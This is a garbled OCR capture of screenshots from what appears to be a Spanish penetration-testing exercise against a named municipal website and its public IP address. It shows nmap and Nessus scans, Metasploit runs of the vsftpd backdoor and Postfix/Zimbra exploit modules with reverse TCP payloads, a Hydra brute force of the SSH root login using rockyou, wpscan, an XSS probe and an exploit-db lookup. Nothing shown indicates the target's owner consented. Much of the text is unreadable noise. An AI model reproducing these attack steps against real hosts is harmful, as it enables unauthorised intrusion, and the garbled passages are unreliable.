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nsola Fuentes Lighthouse 22

- @

Rendimiento Accesibilidad Practicas
recomendadas

Rendimiento
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Alfonso Javier Gil Llamas =

Teletrabajo
X Iniciar Jornada

2 |niciar Vacaciones

Rendimiento

?REWN W JWOVYIWE ¢! Whe WWY AT 3F RYOUe !l + DWHYOWI qét Waijql
AYIl huve WGz BT 3t Wl Wt Hee RT ¢l WYql Yt Wet 2UqVt B

2RHENWIIG WG YnJlWhe JWIYWRAGY! ¢ UqUWIIt Whe WG ¢ We GG LU
o Whe WWIIt qet Waijql RAEcH WGet W0We We UW=dzWGa ¢ UY s

Et WeUWt ROROGWRYUWGO VYt WG Ul qYt slWx Yt WG2 Wl qYt WaqRIIUIII
#HIJI 1 ¢l aYt 1O
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ifichar.com / Plugin #142960

Vulnerabilities 30

I HSTS Missing From HTTPS Server (RFC 6797)
Description

header that can be confi

pping man-in-the-mid

Solution

Configure the remote web server to use HSTS.

See Also

Output

HTTP/1.1 2060 0K

Date: Mon, 16 Mar 2026 18:51:55 GMT
Server: Apache I

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

The remote HTTPS server does not send the HTTP
"Strict-Transport-Security" header.

To see debug logs, please visit individual host
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B TLS Version 1.0 Protocol Detection

Description
The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of
TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren’'t enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major
vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which
they connect) that can be verified as not being susceptible to any known exploits. [\}

Solution
Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

See Also

Google que es TLS

Todo

En informatica 1 Carro Carreo Encriptacion Medicina Rtsp

4 Vista creada con |A

TLS (Transport Layer Security o Seguridad de la Capa de Transporie) es el protocolo
criptografico estandar para cifrar y proteger la comunicacion de datos enire aplicaciones
web (navegadores) y servidores. Garantiza la privacidad (cifrado), autenticidad e
integridad de la informacion, previniendo la interceptacion por parie de terceros
malintencionados en internet. @ flare +3

B
¢ Whe WG WIt e OWYWSeWayYnl ¢l YWI2Rqe ! Wi ¢ We #HERZ O W
Estado y acciones de las cérceles

Actualmente fallado Total fallado ohibido Prohibidos totales Lista de IP prohibidas

de las cérc leccionadas

€ Regresar a indice del modulo
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Acl ¢ Whe YW RIGGT DLWt qijf WeHqR2 YWIG LW 1 2RARY W W 13t
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total 72

root 4096 mar 16 116
drwxr-xr-x 19 root root 4096 feb 25 149
-rw-r--r-- 1 root root 5551 feb 25 21:4 _
-rw-r--r-- 1 root root 607 feb 25 21:48° .bashrc.original
2 root root 4096 feb 26 HT)
-rw-r--r-- 1 root root 11656 feb 25 :50 .face
lrwxrwxrwx 1 root root 11 feb 25 150 -> /root/.face
4 root root 4096 feb 26 Y5
root root 132 nov 10 10:50 .profile
root root 66 feb 26 151 .selected_editor
root root 4096 feb 25 144
~TW-T-~--~ root root 4 mar 16 21:15 .vboxclient-display-svga-x11-ttyl-con
trol.pid
=IW===mm—= root root 135 mar 16 18:54 .zsh_history
~IW=I==I== root root 10855 feb 25 148 .zshrc

x YWGYUUGYt WIULWAEY 61 #Whe JWGYT WG YH WGYUIII Whe WG L
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Iniciar y Apagar
Sistema de arranque - Systemd

Nombre del Servicio Unittype = Estado actual

......

Load AppArmor profiles
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Zenmap
Scan Tools Profile Help
Target: 82.98.168.240 Profile: Cancel

Command: nmap -T4 -A -v 82.98.168.240

Services Nmap Output Ports / Hosts Topology Host Details

Host nmap -T4 -A -v 82.98.168.240

TH#H Script Pre-scanning.

Initiating NSE at 19:48

Completed NSE at 19:48, 0.01s elapsed

Initiating NSE at 19:48

Completed NSE at 19:48, 0.00s elapsed

Initiating NSE at 19:48

Completed NSE at 19:48, 0.01s elapsed

Initiating Ping Scan at 19:48

Scanning [4 ports]

Completed Ping Scan at 19:48, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:48
Completed Parallel DNS resolution of 1 host. at 19:48, 0.06s
elapsed
D

Completed NSE at 19:48 68s elap

Initiating NSE at 19:48

Completed NSE at 19:48, 0.00s elapsed

Nmap n report for 182.98.168.24

Host 1s up (06.0041s latency). S su

TP 977 filtered tcp ports (no-response) [sudo] contraseia para alfonso:
PORT STATE SERVICE VERSION /home/alfonso

21/tcp open ftp BECLIPNCN:] or later fdb init
cert: Subject: commonName=* . RREYSTEIL g IRl [+] Starting database
I t Altern e: D lespacioseguro. comfl [+] Creating database user 'msf'

common balsign GCC R6 Alphass / Ingrese la contraseha para el nuevo rol:

- hey ;1”’ 5 Ingrésela nuevamente:

f\: wli tiymgzr thm: sha256WithRSAE EH1 Ecantdng eraaaesy et

Signature L 1 m: sha2 N ASA C :
J 2 [+] Creating databases 'msf_test'

Not valid befo 2025-12-22T69:40:10 ; : Pt 4

B e S S0 i S ihnG [;Jﬂﬁreatlng configuration file '/usr/share/metasploit-framework/col

MD5 : 94:ecd fa6:8bad a i s

_SHA-1: 6fea:75a2:9dfa:cbol: :£982:3646:500a:e4 [*] Creating initial database schema

ssl-d : TLS randomr does not represent time

22/tcp open ssh OpenSSH 8.4pl Debian 5+debllu5) 1 /home/alfonso

ssh-hostkey:

A )
- (ECDSA)
:c8:e6:20:2f:1a :56:ea:c6 (ED25519)
Postfix smtpd|
: commonName=*
Name: DNS:

4¢] E 9.
ed NSE at 19
Initiataing NSE at 19:48
Completed NSE at 19:48, 0.00s elapsed
Nmap scan report for §62.95.168. 240)
Host 1s up (0.0041s latency).
N 977 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Bt VPR or later
| ssl-cert: Subject: commonName=*. RS ETSTLIX IIgeN
| Subject Alternative Name: DNS:*.[RJElareri-e[i] gl BT s pacioseguro. con)
| Issuer: commonName=GlobalSign GCC R6 AlphaSSL CA 2025/organizationName=GlobalSign nv-sa,
| Public Key type:
| Public Key bits: 2048
| Signature Algorithnm a256wWith
| Not valid befo 2025-12-22T09:46€
| Not valid after: 2027-01-23T09
| MD5: 1d94:ec41:207f:7933:86f0:4cff:6fab:8bad
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/home/alfonso

b init
[+] Starting database
[+] Creating database user 'msf'
[Ingrese la contrasena para el nuevo rol:
[Ingrésela nuevamente:
[+] Creating databases 'msf’
[+] Creating databases 'msf_test'’
[+] Creating configuration file '/usr/share/metasploit-fr:
.yml’
[+] Creating initial database schema Cerrar

Redilix\ﬁnsionar

Siempre encima
Siempre en el area

Mover al area de tra

/home/alfonso
letasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
[}] Starting the Metasploit Framework console...\

oOlWect RIWEHI ROGYY WaWqeW+GiVYRqlO

=[ metasploit v6.4.99-dev
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads

Metasploit Documentation: https://docs.metasploit.com/

The Metasploit Framework is a Rapid7 Open Source Project

>

> search vsftpd 2.0.8
No results from search
> search vsftpd 2.0.
No results from search
> search vsftpd 2.0

No results from search
>

Al 2lJA¢ a

MLWE D¢l HEW2t naGT WZIOMIKOYOW ¢T ¢ 8
MU Jel #HEW2t nq Gl WZIOMIOYOW ¢ ¢.
MWE Jel HE W2 nagGT W= oW Y UWJIt qld Ul



msf > search vsftpd 2

Matching Modules

# Name Disclosure Date Rank Check D
escription

0 auxiliary/dos/ftp/usftpd 232 2011-02-03 normal
SFTPD 2.3.2 Denial of Service

1 exploit/unix/ftp/Wsftpd_234_backdoor 2011-07-03 excellent
SFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, us
1ix/ { back r

msf > use 1
No payload configured, defaulting to cmd/unix/interact
msf exploit( ) > show options l

Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:
,type:host:port][...]. Supported p
s: socks4, socks5, socks5h, http,

RHOSTS 3 The target host(s), see https://do
tasploit.com/docs/using-metasploit
cs/using-metasploit.html

RPORT 21 3 The target port (TCP)

Exploit target:
Id Name

® Automatic

View the full module info with the 1 or o -d command.

msf exploit( ) > set rhosts 82.98.168.240

MLt DgqWl 6 Yt qf WYZOPYONZY=MNM
MW 6 YsWGe! GYeT t IOW2138 Y Whe JWIt qC Wi ¢ WbMb



View the full module info with the in or info -d command.

msf exploit( ) > set rhosts 82.98.168.240
rhosts => 82.98.168.240
msf exploit( ) > show payloads

Compatible Payloads

# Name isclosure Date Rank Check Description
0 payload/cmd/unix/interact . normal No Unix Command, I
nteract with Established Connection

msf exploit( ) > set payload @

payload => cmd/unix/interact

msf exploit( ) > run
82,98.168.240:21 - Banner: 220 Servidor FTP preparado.
82,08.168.240:21 - USER: 331 Please specify the password.

Y

0Oa

ML I qWGE! GYeT WM

mUWwl e U

exploit( ) > run
82.98.168.240:21 - Banner: 220 Servidor FTP preparado.
82.98.168.240:21 - USER: 331 Please specify the password.
Exploit completed, but no session was created,

exploit( VI |

YWaYNI ¢ WA el Wacwt Wt RZUK

Al YACOYt We6YI ¢ WHYUWWGWGe I qYW==t0Ws GWUEECc WY IONGN

l-cert: Subject: commonName=* . /S ETSTLIN TR The Metasploit Framework is

Subject Alterna H S [espacioseguro. comp DNS:

ommonN ba g C R6 AlphaSSL CA 2025/organizationName=GlobalSign nv-sa/countryName=BE msf > search OpenSSH a‘l'pll
type
Public Key b1
Signature Algorlth ha756'\u_thsAEr‘cryptlon

84:6¢ (ECDSA\
(ED25519)

BiERcorreoseguro.dinaserver. com

tionName=GlobalSign nv-sa/countryName=BE

msf > search OpenSSH 8.4p1
1 No results from search
msf > ||

OYNUW! WayYWGUNewyow] YYnilWaWs8§ GJUEEC WY IOMNGN /b



O B www.cvedetails.com/ve

# KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Documentation

& CYEdetaiIs.com Openbsd » Openssh » 8.4 p'l/

pe SecurityScorecard

Vulnerabilities (11) Metasploit Modules
v Vulnerabilities

Version names

By Date
« OpenBSD OpenSSH 8.4 p1
By Type « cpe:2.3:a:0penbsctopenssh:8.4:plikikix x %1%
Known Exploited . cpe:/a:openbsd:opﬁnssh:8.4:p1
Assigners

Product information
CVSS Scores

« https://www.openssh.com/releasenotes.html € Change Log
EPSS Scores « https://www.openbsd.org/ € Vendor
Search o https://www.openssh.com/ & Projec

¥ Vuinerable Software Vulnerabilities by types/categories

Vendors
Memory Sql Directory File

Products Year Overflow Corruption Injection XSS Traversal Inclusion
Version Search E e,

2021 0 G 0 0 0 0

|
 Vulnerability Intel.
2022 0 0 0 0 0 0

| " -

f U213t qRNDc We UWGYHY W W2 WWheij W6c¢! W WEYI q¢T ¢t w2eall

, -

éCclWC WE+GUVYRqW?2c¢cq¢cHEt JaW8GUUEEC WY KNGNKOW YWJIUres I
Al 2 JH¢ We¢ WWIUq! ¢!l wylWen!l YTRUKHY G W RUWG ¢ Wbt wll 130 WG
[ RHGCWGE !l ¢cW?Y2IIRYqWGYGOI B
HTT!

ssl-cert: Subject: commonName=* . (S ggtl-Ye T ge I PR LYY SVI-T gielel

S ST AR T ER S M T EY SR B co rreoseguro . dinaserver. comflEBlcorreoseguro.dinaserver

Issuer: commonName=GlobalSign GCC R6 AlphaSSL CA 2025/organizationName=GlobalSign nv-sa/cBuntryname=BE

Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: sha256WithRSAEncryption

Not valid before: 2025-08-11T11:25:08

Not valid after: 2026-09-12T11:25:07

MD5: 1fc2:6130:361e:64a3:f70f:9dd7:def7:e7ca

SHA-1: c001:f2el:1a60:a05c:5a8a:316¢c:4862:celf:930d:b277
TLS randomness does not represent time

BB Ccorreoseguro.dinaserver. com

zationName=GlobalSign nv-sa/countryName=BE

| Not va
| MD5:
| _SHA-

ssl-date: TLS
_smtp-commands :
80/tcp open http




msf > search Postfix

Matching Modules

# Name Disclosure Date
Check Description

0 exploit/linux/misc/gld_postfix 2005-04-12 good
) GLD (Greylisting Daemon) PostfiX Buffer Overflow
1 auxiliary/admin/http/pfadmin_set_protected_alias 2017-02-03 normal
Yes PostfiXadmin Protected Alias Deletion Vulnerability
2 exploit/linux/local/zimbra_postfix priv_esc 2022-10-13
Yes Z&gbra sudo + poSEfiX privilege escalation

\y

MW D¢ HEWAYY q3+
mLe t 1J WML
MW 6 Ys WWYGaqRYUt a

Name Current Setting Required Description

LHOST 10.0.2.15 The listen address (an interface may be s
pecified)
LPORT 4444 The listen port

Exploit target:

Id Name

RedHat Linux 7.0 (Guinness)

View the full module info with the info, or info -d command.
msf exploit( ) > set rhosts 82.98.168.240
rhosts => 82.98.168.240

msf exploit( ¥i> l

MW DqWl 6 Yt qt WYZOPYIONZY=ZNM
MUt JagWl GYI qW=P
MUWIJ+ GidYRq

View the full module info with the info, or info -d command.

msf exploit( ) > set rhosts 82.98.168.240
rhosts => 82.98.168.240
msf exploit( ) > set rport 25

rport => 25

msf exploit( ) > exploit
Handler failed to bind to 10.0.2.15:4444:- -
Started reverse TCP handler on 0.0.0.0:4444
Exploit completed, but no session was created.

msf exploit( ) >
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MWt WC1 HE WAV 3%
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msf exploit( ) > search Postfix

Matching Modules

Disclosure Date Rank
Check Description

0 exploit/linux/misc/gld_postfix 2005-04-12 good
No GLD (Greylisting Daemon) POSEFiX Buffer Overflow

1 auxiliary/admin/http/pfadmin_set_protected_alias 2017-02-03 normal

Yes Postfixadmin Protected Alias Deletion Vulnerability

2 exploit/linux/local/zimbra_postfix priv_esc 2022-10-13 excelle
1t Yes Zimbra sudo + postfiX privilege escalation

Interact with a module by name or index. For example inf

t/11 cal/zimbra
msf exploit( ) > use 2

No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit( ) > |

MWt 6 Ys WWYGaqRY Ut
msf exploit( ; i ) > show options
Module options (exploit/linux/local/zimbra_postfix_priv_esc):

Name Current Setting Required Description

SSION The session to run this module on
DO_PATH sudo Path to sudo executable
ZIMBRA_BASE /opt/zimbra Zimbra's installation directory

Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.1.39 The listen address (an interface may be s
pecified)
LPORT 4444 The listen port

Exploit target:

Id Name

YWw2uWwWleT ¢ AWUORWI 6 Yt el + RWhe DWide UA¢ a
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/home/alfonso
| Toot)82.98,168.240
The authenticity of host '82.98.168.240 (82.98.168.240)' can't be established.

ED25519 key fingerprint is: SHA256:wRxvut@o6w+qeEn+K2ybJQ5zAaorl7rVcadllevjX70
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?

ERWhe WG ¢ RqWWIGWe #EWNE YW YYqOWNRIUIWIGWGe 1 qVl
hue JWOYH W DTWWRUqUWUqge!l WIGWGEet t sYIT B

/home/alfonso
1 root82.98.168.240
The authenticity of host '82.98.168.240 (82.98.168.240)' can't be established.
ED25519 key fingerprint is: SHA256:wRxvutOo6w+geEn+K2ybJQ5zAaorl7rVcadilLevjX70
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '82.98.168.240' (ED25519) to the list of known hosts.
%% WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
**x The server may need to be upgraded. See https://openssh.com/pq.html
rootg82.98.168.240"'s password:
Permission denied, please try again.
rootg82.98.168.240"'s password:
Permission denied, please try again.
rootg82.98.168.240's password:
lroota)82.98.168.240: Permission denied (publickey,password).

/home/alfonso

Al 2l JA¢cW2¢ | Ret W2 IHIIE We W2 Wi IRIIUBUZ RdLGH U dzIRTC 13 iR WLdR 10 dj dp W+
melJl A¢ WHI 2 q¢ B LW
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Abrir + R0 *+ https ajofrin es
https://ajofrin.es/

82.98.168.240 (madrid)

6 El puerto 22 abierto y permite la conexidn via ro

¢ ¢ WGI YH¢E! Weco?A a
Ndzll2 ¢ We Wa RI ¢ 1 WheijWéc¢! a
9l Woeatl ot B¢l WosYI T dRY qt

/home/alfonso
i /usr/share/wordlists

/usr/share/uordlists

/usr/share/wordlists
¢ rockyou.txt.gz

ovYuUwna UARGWIT Dt HYOGGI RGOIWOWx ¢ UAc Wz UGt a W



/usr/share/wordlists

rockyou. txt

OWHY GG e JAC Whe JW! ¢ WqRWUWWIIG W YHE ! Ve toqg#q
M LG Il Wi pAliNal | Y e tOg # g LY RIOGY IONZ Y IOZ MMLWY + 6 W

-1 root -P rockyou txt 82.98.168.240 ssh -v
Hydxa v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these #** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-18 20:09:
18

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1l:1/p:
14344399), ~896525 tries per task

[DATA] attacking ssh://82.98.168.240:22/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[INFO] Testing if password authentication is supported by ssh://rootq82.98.168.2
40:22

[INFO] Successful, password authentication is supported by ssh://82.98.168.240:2
2

[ERROR] could not connect to target port 22: Socket error: Connection reset by p
eer

[ERROR] ssh protocol error

[VERBOSE] Disabled child 12 because of too many errors

Al YWG W ¢ Wt vyl It a

[iNFéi Testiné if paséﬁurd autﬁé&ti&ati;n is suépértedléy ssh://rootg)82.98.168.2
??ﬁig] Successful, password authentication is supported by ssh://82.98.168.240:2
%ERROR] could not connect to target port 22: Socket error: Connection reset by p
fEERDR] ssh protocol error

[VERBOSE] Disabled child 12 because of too many errors

I RWhe JWGI 2 JA¢ WT ywle J2VYa
MLUHTHYEYU O Y ZHOP Y ION S Y IO= MM

owovwl Wt gyYUTl wAaWet RiWWhe 3wt INel ¢alUquWUOYt W6e! ¢ WHe L
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fusr/share/wordlists
rootg82.98.168,240

§aql ¢WnY!l GewWl YWt ¢ A Whe WOV We¢WA¢UET YWbe WGE| ql
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| _SHA-1: 6fea:75a2:9dfa:cbhol:f29f:efcf:f982:3646:509a:e¢]]
| _ssl-date: TLS randomness does not represent time [
22 /tcp open ssh OpenSSH 8.4pl Debian 5+deblluj

| ssh-hostkey:

| 2048 b3:ac:03:f3:68:0a:0¢:69:1f:96:fd:0c:cd:1c:b3:biq
| 256 43:b2:1c:6e:3c:44:17:5a:fc:1 b982d26c846([
| 256 d5:92:ba:66:6c:ef:c8:e6:20:2f:1a:c7:15:56:ea:ch




EWW3T¢ WagHAWhe JwPdwe! eUqéec G RPIUqYWe qRIRAC WG Gt WHGE 21
é2lld20We Wt GdGqga

| 256 43:b2:1c:6e:3c:44:17:5a:fc:1e:b9:a2:d2:6c:84:6c (ECDSA)
| 256 d5:92:ba:66:6¢c:ef:c8:e6:20:2f:1a:c7:15:56:ea:c6 (ED25519)
25/tcp open  smtp Postfix smtpd

ssl-cert: Subject: commonName :*.gorreoseanra. dinassrver. com

Subject Alternative Name: DNs *.[CJERE Wil correoseguro.dinaserver. con)

|
|
| Issuer: commonName=GlobalSign GLC R6 Al = zationName=GlobalSign nv-sa/countryName
| Public Key type: rsa COp'ﬁ'
| Public Key bits: 2048 )

2REV W DWOY WqRWOWWHY U3 Nzl ¢T YWen!l YTRUIt WY WG ¢ RGk
ERUY Whe WWqRWUOWUWe UWt 6 qGWHYGGE! qRT YW ywi RUct 1 21
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SuperTool Betao

ajafiin.es

dmarc:ajafrin.es FEEEVES S dmarc

Microsoft Outlook.com now requires DMARC - Get SPF, DKIM and DMARC setup and maintain compliance with Delivery Center

Test Result

[~] DMARC Record Published No DMARC Record found @ More Info
dns lookup dns check mx lookup sphiookup dns propagation

Reported by a.nic.es on 3/18/2026 at 2:20:16 PM (UTC -5), just for you Transeript

ABOUT THE SUPERTOOL!

YWaqRUOWW?~ AoaAuwlt qYWUOYWIt W RIt NDYW KW dnel RT ¢l 1L
gauNzWUWGYH WJG¢ERY OWe WEA ~

SuperTool Beto

ajofrin.es
a:ajofrin.es BEGLEZGHENE
Type Domain Name IP Address
A ajofrin.es
Test Result
o DNS Record Published DNS Record found
dns check mx lookup dmare [ookup spf lookup

Reported by ns2.dinahosting.com on 3/18/2026 at 2:20:57 PM (UTC -5), just for you.

ECWUGW? EW YaYWwW2RuaYt WeUWe GeUqUW Whe W2 ¢ We W ¢ Wi /
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|_SHA-1: c001:f2el:1a60:a05c:5a8a:316c:4862:celf:930d:b277
3306/tcp open sql 1aDB
| mysql-info: )
| Protocol: 18
Version: 5.5.5-10.5.29-MariaDB-0+debllul-log

I
| Thread ID: 2714735

| Capabilities flags: 63486 a
| Some Capabilities: SupportsLoadDatalocal, ConnectWithDatabase, Support4lAu
IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, Speaks4lProtocolNew, SupportsCom

| Status: Autocommit A 3 i
| Salt: U&ZtwW9U!Bga3uwwnDGus< : :"* Correosegur?'dlnas?
|_ Auth Plugin Name: mysql_native_password PAIIE:(COTTEOSBEUCY daNRSHEVE
10025/tcp closed unknown £

50000/tcp closed 1bm-db2

~RI ¢WWUW?¢qécHet DWE+GaOYRaga

MariaDB 5.5.5

20160912 : {'¥SOL / MariaDB / PerconaDB 5.5.51/5.6.32/5 714 - Code Execution / Privilege Escalatio Local Linux Dawid Golunsk

Showing 110 1 of 1 entries (fitered from 46,496 total entries) °

oWt RWhe JWqRWUWUWe WG YAGWGRqge WT WWEL d¢T YW WWAI R?
BOql ¢1 AlGe It Wt RlWhe W YW e WESYT | REaYH Wi Re ! 1O

ﬂ MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation__\

CVE: Author: Type: Abrir v B * ipmaiclin e
2016-6662 DAWID GOLUNSKI LOCAL
https://ajofrin.es/

3 82.98.168.240 (madrid)

3 Verified: < Exploit: & / {}

El puerto 22 abierto y permite la conexién via root

Tienes un smtp compartido: correoseguro.dinaserver.com

Vulnerabilidad local en https://wm .exploit-db.con/exploits/40360 mysql o
mariadb

ERNDUWUIOW~ANYYOW2RVIUOT YWadeWwW? Ea

SuperTool setas
ajofrin.es
dns:ajofrin.es [EHEE Sdns
Type Domain Name 1P Address TTL Status Time (ms) Auth Parent Local
° v ° ° °
NS n 5 min [ 17 o [} [}
NS n 5min o 17 © ) ©
NS ns4.dinahosting.com 5 min (-] 17 (-] (] (-]
Result
Primary Name Server Not Listed At Parent @ More info
ns.gestiondecuenta.com
[] DNS Record found
" No Rad Glue Datected




Result

Primary Name Server Not Listed At Parent

DNS Record found

MNo Bad Glue Detected

At Least Two Mame Servers Found

All name servers are responding

All of the name servers are Authoritative
Local NS list matches Parent NS list
Mame Servers appear to be Dispersed
MName Servers have Public IP Addresses

Serial numbers match
28220705601

S0A Serial Number Format appears valid

S0A Refresh Value is within the recommended range
S0A Retry Value is within the recommended range
SOA Expire Value within recommended limits

SOA Minimum TTL Walue is within allowed values

000000 000000000 ©

Mo Open Recursive Name Server Detected

X DWI$ql ¢ YeWeaWE YnWt YA wwit tonidt qRYUT Wr2 WU qc 1OR Y

SuperTool Betae

mx:ajofrin.es LRGN Solve Email Delivery Problems

Outlook.com has new sender requirements!

Get ready with MxToolbox Del

Pref Hostname IP Address TTL
10 82.98.168.240 5 min Blacklist Check ~ SMTF

3 DinaHosting S.L. (AS42612)

Test Result
o DMARC Record Published No DMARC Record found
(] DMARC Policy Not Enabled Itis touseaq ine or reject policy. To enable BIMI, it is required to have one of these at 100%.
° DNS Record Published DNS Record found

~¢ROGKETYNn!I RUKIJF Wt WIJIG WG ¢ RO Whe WWe qRIRACUWAY G Y LI
~RIl ¢ WU WEA][ a

SuperTool Betad

‘ ajofrin.eq SPF Record Lookup =

spf:ajofrin.es -Solve Email Delivery Problems

Microsoft Outlook.com now requires DMARC - Get SPF, DK

v=spfl a mx ~all k



?RANVWe WWHe RT ¢ T YWRYUOWUIt qYall2! B
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https://ajofrin.es/

82.98.168.240 (madrid)

El puerto 22 abierto y permite la conexion via root

Tienes un smtp compartido: correoseguro.dinaserver.com

Vulnerabilidad local en https://wmw.exploit-db.com/exploits/40360 mysql o
mariadb

ENW2 e Ja20We W3Tel WIOW RUct W1 2131 IORY G W! W RAWWIG WG
HY1I I DYt W6eHREWIt DWW YORURYAWRY G YW RiWne I ¢ We U¢ Wt

wt 31 2RT YI Wi wywyU:
NaUWt I 2RHRY WHY (

x Y Whe JWI REWWe JWe W ¢ A1 Whe 13 W1
GYTI RcaVvVt WHYOql ¢qel WOV Yl Vi Wwe
bl 2RT YL W WWIU2RY B

ot B ]

AYl 2holdwWHYUOUt q¢e UqUGUU0quUWOYt Wt ¢dawylw GeGa

|  h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
465/tcp open ssl/smtp Postfix smtpd
ssl-cert: Subject: commonName=* . EgTETL TIgo M SR ELTT SV gialel
ST AR Y ER SR P PRI 0 r reoseguro. dinaserver. confli\Blcorreoseguro.dinaserver. con
Issuer: commonName=GlobalSign GCC R6 AlphaSSL CA 2025/organizationName=GlobalSign nv-sa/countryName=BE
Public Key type: rsa
Public Key bits: 2048
Signature Algorithm: sha256WithRSAEncryption
Not valid before: 2025-08-11T11:25:08
Not valid after: 2026-09-12T11:25:07
MD5: 1fc2:6130:361e:64a3:f70f:9dd7:def7:e7ca
_SHA-1: c001:f2el:1a60:a05c:5a8a:316c:4862:celf:930d:b277
|_smtp-commands: [JERUIIILETIIRIIaRag. PIPELINING, SIZE 31457280, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGI
|_ssl-date: TLS randomness does not represent time
587/tcp open  smtp Postfix smtpd
| ssl-cert: Subject: commonNam correoseguro.dinaserver. com
(TS T e AR -1 EY S A EL I R c o r reoseqguro.dinaserver. confiEHcorreoseguro.dinaserver. com
| Issuer: commonName=GlobalSign GCC R6 AlphaSSL CA 2025/organizationName=GlobalSign nv-sa/countryName=BE
| Public Key type: rsa

Et W UHRI AWGe UT WG GRqRI WG W PWWYU2RY W JWHEY! I JY W
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)-[~/Descargas

l——f )-[~/Descargas

[sudo] contraseiia para alfonso:
/home/alfonso/Descargas
1 Nessus-10.11.3-debian10_amd64.deb
Seleccionando el paguete nessus previamente no seleccionado.
(Leyendo la base de datos ... 95%

EGGRIDAc WG W I 2RHRY a
MW ¢l quURtt et T O I 2RHEID

/home/alfonso/Descargas
start nessusd.service

/home/alfonso/Descargas

EQW2cwWeawle2lnel YI W weyUWa
MOYHCO6Yt qaYYONWsYYOMWIt WIG WGz 3l YW YOT Wt WWRUt

Exps:/flocalhost: 88345/

reccion asociada al nombr

Otenable

ime 83271ms Nessus

Initializing

Please wait while Nessus is initializing.

Wiect W=MaONWse¢HWWe UWRUYt GUHHRY UG | Wd ¢ Ws IIAHLWT 133 We ! e
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Tool Documentation:

wpscan Usage Examples

Scan a target WordPress URL and enumerate any plugins that are installed:

:~# wpscan --url http://wordpress.local :—enumerate d

N i
N\ A7)
ANV VAN B [
NN YL CHrrrd
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WordPress Security Scanner by the WPScan Team
Metapackages Version 2.6
Sponsored by Sucuri - https://sucuri.net
default everything large @ WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @ FireFart_

Tools:
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wpscan Usage Examples

Scan a target WordPress URL and enumerate any plugins that are installed:

:~# wpscan --url http://wordpress.local --enumerate p
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WordPress Security Scanner by the WPScan Team
Version 2.6

Sponsored by Sucuri - https://sucuri.net
@ WPScan , @ethicalhack3r, @erwan lr, pvdl, @ FireFart

»

[+] URL: http://wordpress.local/
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https://ajofrin.es/

/home/alfonso/Descargas
irl https://ajofrin.es --enu

WordPress Security Scanner by the WPScan Team
Version 3.8.28

a_WPScan_, gethicalhack3r, gerwan_lr, gfirefart

Updating the Database ...
Update completed.

ERUWWGHec I nYAWawwaec UA¢cWe OWII 1 YI a
WordPress Security Scanner by the WPScan Team
Version 3.8.28

o_WPScan_, methicalhack3r, gerwan_lr, gfirefart

Updating the Database ...
Update completed.

bcan Aborted: The remote website 1s up, but does not seem to be running WordPres
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rertir

Fuente | [ Img | | Multimedia | | Archivo de manifiesto

Todo etch/XHR CS IS Img || Multimedia | | Archivo de manifiesto
Socket || Wasm

10

Nombre X  Encabezados Cargautil \ previa 2>

~ Pardmetros de cadena de consulta Ver origen

LFLBQohAAAAANL...

{> admin-ajax.php it
) clr?k=6LfLBQohAAAAANLyaU...

=] anchor?ar=18k=6LfLBQohAA...

~ Solicitar carga atil

-

{en
L ext: {client: {hl: “"es", gl: "E clienth{
» ¢ [{g\entTimel 1773862599726

b sectalizeoienein

)] @ recaptcha__e

? REV Wz JW2 ¢ We WwsNl ¢ HEl wlll! Wa¢l AcalWmb~cUqlUUI WAUNDRY
EU2 R¢ | WesTWI WARIDFHEHIUql ¢ WUeT ¢ B

ERNz W6 ¢ HRIVUI YWRUt GUHARY UG WRIUWHET ¢ WIGWG W3 UqY W |
COUNYWGW! YWivYwWserWUW2ReWs ¢c2¢t Al RGaqloWeé JWhe IW2 Ré W
WJU2R¢ UWIGY! WdijqVYT YWAS§EN

Yl ¢WaRI ¢WdelWs AW JWaqRPIOWWe U¢ WieGe W WAt He T Y



<script>console.log(‘hola’)</script> =
|

\
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\J
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Resultados de la busqueda de: <script>console.log(‘hola’)
</script>

Parece que no podemos encontrar lo que estas buscando.

Atras

Reenviar Alt+Flecha derecha

x YWa ¢ Ul ¢We WaclWHeHUHDIKE WGU! YWOvYWaynl ¢avYt wderT ¢

Yl cW2z 020 WeWl Uttt et a

Citenable nessus Essentials Scans

New Scan / A ced Scan

Settings Credentials Plugins

BASIC

Name

" Description
